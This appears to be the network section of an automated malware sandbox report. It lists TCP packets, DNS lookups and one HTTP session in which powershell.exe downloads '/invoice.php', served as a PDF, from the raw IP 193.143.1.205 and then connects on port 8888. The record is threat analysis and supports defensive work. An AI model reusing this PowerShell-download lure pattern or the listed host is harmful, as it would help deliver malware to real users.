Jan 11, 2025 04:48:19.214565992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214603901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214607000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.214636087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214669943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214677095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.214703083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214740038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214745045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.214772940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214807987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214812040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.214839935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214873075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214879990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.233755112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.233787060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.233838081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.233844995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.233876944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.233881950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.233927011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.233961105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.233968973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.233993053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.234028101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.234035015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.234059095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.234093904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.234102964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.234127045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.234160900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.234170914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.234193087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.234226942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.234231949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.234261036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.234292030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.234303951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.247720003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.247772932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.247818947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.247823000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.247854948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.247862101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.247889042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.247921944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.247931004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.247955084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.247987986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.247997046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.267441988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.267518044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.267535925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.267556906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.267602921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.267612934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.267647028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.267678976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.267694950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.267712116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.267746925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.267750025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281326056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281347036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281373978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281399965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281404972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281424999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281435966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281450033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281466007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281480074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281490088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281506062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281517982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281519890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281533957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281557083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281570911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281572104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281588078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281605005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281608105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281627893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281631947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281642914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281650066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281658888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281682014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281689882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281699896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281721115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281734943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281737089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281753063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281757116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281769037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281783104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281789064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281807899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281817913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281822920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281855106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281869888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281873941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281888008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281908989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281913042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281925917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281939983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281944990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281955004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281976938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.281980991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.281994104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282007933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282016993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.282023907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282040119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282042980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.282066107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282082081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282085896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.282098055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282116890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.282248974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282264948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282280922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282284975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.282304049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282322884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.282351017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282372952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282385111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.282388926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282403946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282419920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282423019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.282444000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282457113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.282460928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282474995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282493114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282497883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.282509089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282525063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282537937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282557011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282572985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282576084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.282576084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.282593966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.282594919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282618046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282627106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.282633066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282648087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282668114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282671928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.282685041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282692909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282700062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.282774925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.287007093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.287029028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.287056923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.287070990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.287075043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.287087917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.287092924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.287106037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.287138939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.301129103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.301166058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.301193953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.301196098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.301211119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.301228046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.301234961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.301244020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.301260948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.301265001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.301275969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.301297903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.301300049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.301331997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.301341057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.301367998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.301405907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.306233883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.306268930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.306335926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.306364059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.306377888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.306540966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.456245899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.461411953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.461462021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.461499929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.461527109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.514853954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.656497002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.661586046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.661669970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.661714077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.661724091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.661761045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.661778927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.661811113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.661812067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.661863089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.661864996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.661900043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.661937952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.661940098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.661953926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.661973000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.661990881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.662058115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662091970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662098885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.662127972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662162066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662173033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.662214041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662254095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.662281990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662316084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662348986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662353992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.662385941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662421942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662432909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.662455082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662488937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662492990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.662528038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662539959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662563086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.662574053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662607908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662615061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.662641048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662673950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662679911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.662710905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662744045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662753105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.662781954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662813902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662817001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.662847042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662882090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662887096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.662914991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662946939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.662951946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.662980080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.663016081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.663024902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.663057089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.663091898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.663099051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.663125992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.663166046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.989228964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:20.132754087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:20.697174072 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:20.702415943 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:20.702528954 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:20.702728033 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:20.707567930 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:21.493808031 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:21.546060085 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:21.669507980 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:48:33.572585106 CET	58606	53	192.168.2.4	1.1.1.1
Jan 11, 2025 04:48:50.010884047 CET	57260	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:48:33.572585106 CET	192.168.2.4	1.1.1.1	0x5244	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:48:50.010884047 CET	192.168.2.4	1.1.1.1	0xd759	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 04:48:28.070743084 CET	1.1.1.1	192.168.2.4	0x5309	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:48:28.070743084 CET	1.1.1.1	192.168.2.4	0x5309	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:48:33.579683065 CET	1.1.1.1	192.168.2.4	0x5244	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:48:50.017674923 CET	1.1.1.1	192.168.2.4	0xd759	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7652	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:48:17.835776091 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 04:48:18.624999046 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:48:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
